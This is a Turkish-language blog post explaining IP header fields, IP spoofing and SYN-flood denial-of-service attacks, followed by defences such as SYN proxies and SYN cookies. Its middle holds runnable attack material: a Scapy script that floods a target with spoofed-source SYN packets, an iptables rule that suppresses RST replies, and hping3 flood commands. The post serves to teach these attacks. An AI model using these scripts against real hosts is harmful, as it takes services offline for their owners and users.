IP Spoofing

Gopher
4 min readJan 8, 2018

--

IP NEDİR?

IP(Internet Protocol):Her bir makinanın kendine ait eşsiz bir adresi olsun ve birbirleriyle bu protocol sayesinde erişebilsin diye geliştirilmişbir protokoldür.

IP Başlık Bilgisi

  • Version: (4bit)

Gelen paketin IPv4 veya IPv6 olduğunun yorumlandığı
kısım.

  • IHL: (4bit)

Yollanan pakete nasıl davranılacağını bildiren kısım. Acil mi veya bekleyecek mi vs.

  • Total Length: (16bit)

2¹⁶ = 65535byte (Maksimum Toplam Uzunluk) Paketin uzunluk bilgisinin olduğu kısımdır.

  • Identification: (16bit)

Kimlik bilgisi olarak eklenilen kısım. Host tarafından random oluşturulur.

  • Flags: (3bits)

Yollanan IP paketinin sağlıklı bir şekilde geçirilip geçirilmemesi için yeri geldiğinde parçalanıp parçalanmaması hakkında
bilgi veren kısımdır.

  • Fragment Offset: (13bits)

Paket parçalandıysa parça sırasını belirten kısım.

  • Time to Live: (8bit)

Pakete verilen yaşam süresi. Eğer paket sonsuz döngüye girerse paketin kendini yok etmesi için verilen zamanı belirten kısım. (Kaç kere, saniye vs. değil)

  • Header Checksum: (16bit)

Paketteki bilgiler bir fonksiyona sokulup elde edilen değer burada belirtilir. Paketi alan kişi buradaki bilgiyi alır ve paketi fonksiyona sokup tekrar aynı değeri alıp almadığını kontrol ederek paketin bozulup bozulmadığını anlar.

  • Source IP Address: (32bit)

Paketi gönderenin ip adresi.

  • Destination IP Address: (32bit)

Paketi alacak makinenin ip adresi.

IP Spoofing Nedir?

IP Sahteciliği olarak da bilinen IP Spoofing en basit tanımı ile bir bağlantıda IP adresinizi hedef sisteme farklı gösterme işlemine denir.

Amacı ?

Genel amaç gönderenin ip adresini gizlemek olsa da ip adres tabanlı kimlik doğrulamayı atlamak için de kullanılabilir.

DDOS atakları bilinmeyen IP adreslerinden kaynaklanan paketlerin , hedef ağları ve cihazları aşırı yüklemek için genellikle bu tekniği kullanır.

Bir çok kullanıcı ip spoofingin ip değiştirilmek anlamına geldiğini
düşünür fakat asıl amaç bu değildir.

Yöntemleri

  • Proxy/Socks

Proxy değiştirerek ip adresini gizleme yöntemine denir.

  • IP paketlerini düzenleyerek

En etkili Ip Spoofing tekniğidir. Ip paketlerini düzenleme işlemini SCAPY ile yapabiliriz. Örnek olarak,

scapy
tcp=TCP(sport=8080, dport=22, flags=”S”)
ip3=IP(src=”192.168.2.15”,dst=”192.168.2.13”)
paket3=ip3/tcp
send(paket3)

Bu şekilde 192.168.2.15 ip adresinin 8080 portundan 192.168.2.13 ip adresinin 22 portuna paket göndermiş olduk.

Bu yöntem kullanılarak tcp oturumu kurulabilmesi çok zordur.Eğer
seq/ack sayılarına sahipsek yapabiliriz veya hedef aygıtın yakınında
bir yönlendirici aygıtı kontrol ederseniz veya hedef ağ / Ana Makine
tarafından yönlendirilen paketleri kabul ederse tcp oturumu
kurabilirsiniz.

DOS/DDOS ATAKLARI

Nedir ?

DOS atağı bir sistemi,servisi veya ağı işlevini yerine getiremeyecek duruma getiren ataktır. Dos saldırılarının eş zamanlı olarak birden fazla kaynakla yapılmasına DDOS atağı denir.

ETKİLERİ ?

  • Serverlarda CPU/RAM problemi
  • Servislerin çökmesi
  • Ağ performansında yavaşlama
  • Web uygulamalarında geç yanıt döndürme veya erişilememe problemi

SYN FLOOD

Sahte bir IP ile ( IP SPOOFING ) sürekli SYN paketi yollanır. Yollanan paketleri hedef SYN tablosunda tutar. Hedefin döndürdüğü SYN+ACK paketi boşa gideceği için ve ACK geri dönmediği için tablonun boyutu artar.

SYN FLOOD ile DOS/DDOS Saldırısı

SYN FLOOD saldırısı, sunucuya beklenen ACK kodunu göndermeyerek çalışan bir ataktır. Kötü niyetli istemci ya basit bir şekilde beklenen ACK‘yı göndermez ya da sahte IP adresi kullanarak SYN‘deki IP adres kaynağını zehirler(spoofing). Çünkü sunucu sahte IP adresine SYN-ACK göndermeye çalışır. Ancak ACK gönderemeyecektir çünkü o adresle bir SYN gönderilmediğini bilir.

Sunucu bir süre acknowledgement (kabul) için bekleyecektir. Fakat saldırılarda bu istekler sürekli artan şekilde olduğundan sunucu yeni bağlantı oluşturamaz duruma gelir. Ve sunucu devre dışı kalır.

Scapy ile SynFlood Saldırısı

Öncesinde aşağıdaki iptables kuralının girlmesi gerekiyor

iptables -t filter -A OUTPUT -p tcp –tcp-flags RST RST -j DROP

! /usr/bin/pythonimport sys
import random
from scapy.all import *
def main(argv):
while(1):
send(IP(src=str(random.randint(1,255))+"."+str(random.randint(1,255))+"."+str(random.randint(1,255))+"."+str(random.randint(1,255)),dst=sys.argv[1],id=123,ttl=100)/TCP(sport=RandShort(),dport=80,seq=123456,ack=1000,window=1000,flags="S"))
if __name__ == "__main__":
main(sys.argv[1:])

Hping ile Syn FLood Saldırısı

Hping, TCP / IP protokolü için ücretsiz bir paket üreteci ve analizörüdür. Güvenlik denetim ve güvenlik duvarlarının ve ağlarının test edilmesi için yararlı araçlardan biridir ve artık Nmap Security Scanner’da da kullanılmaktadır.
Windows ve MacOs için http://www.hping.org bu adresten,

Ubuntu için:

sudo apt-get install hping3

bu şekilde indirebilirsiniz.

Kullanımı:

hping3 [options] IP

Bazı parametreleri

-flood: Gelen yanıtları göstermeye hiç dikkat etmeden mümkün olduğunca hızlı paket gönderilir.
-I: Arayüz kullanılacaktır (isteğe bağlı birden fazla arayüze bağlıysanız kullanınız)
-1: ICMP modu
-2: UDP modu
-a: Kaynağı IP spoof yapar.
-p: Hedef port
-S: SYN bayrağı gönderme
–rand-source: Random iplerden gönderme
-c = Gönderilen paket sayısı . (0 ise sınırsız gönderir.)
-d = Hedef makineye gönderilen her paketin boyutu.
Syn Flood Atak

hping  --rand-source -S -d 500 -p <port> IP

Syn flood saldırısını TCL dili ile de yazabilirsiniz.

sudo hping
hping3> while {1} { hping send "ip(saddr=1.2.3.4,daddr=192.168.1.1)+tcp(sport=4231,dport=80,flags=s)" }

ÖNLEM ?

  • Tablonun boyutunu arttırmak:

Daha çok maliyet ve geçerli bir çözüm değil.

  • Syn proxy:

Hedef ile arasında durarak SYN paketlerini kendi üzerine alır SYN+ACK gönderir. ACK geri geldiğinde paketi hedefe ulaştırır.

Syn proxy’i bütün portlara syn yollayarak tespit edebiliriz. Eğer
kapalı port yoksa syn proxy ile karşı karşıya olduğumuzu anlarız.

  • Syn proxy cookie:

Threeway Handshake esnasında değişmeyen 4 bilgi var.
Bunlar: Source IP, Source Port, Destination IP, Destination Port

  1. Makine bir fonksiyon ile bu 4 bilgiyi ve bir de makine
    çalıştırılmaya başladığında RAM de random oluşan bir değeri
    topluyor.
  2. Ardından bu “toplam”ı SYN isteği yollayan makinelere SYN+ACK
    döndüreceği zaman sequence number olarak kullanıyor.
  3. Kendisine threeway handshake’in son aşaması olan ACK paketi
    döndüğünde ACK sayısı “toplam”+1 olmak zorundadır.
  4. “toplam”+1 den 1 çıkarıp gelen ACK paketini doğruluyor.

--

--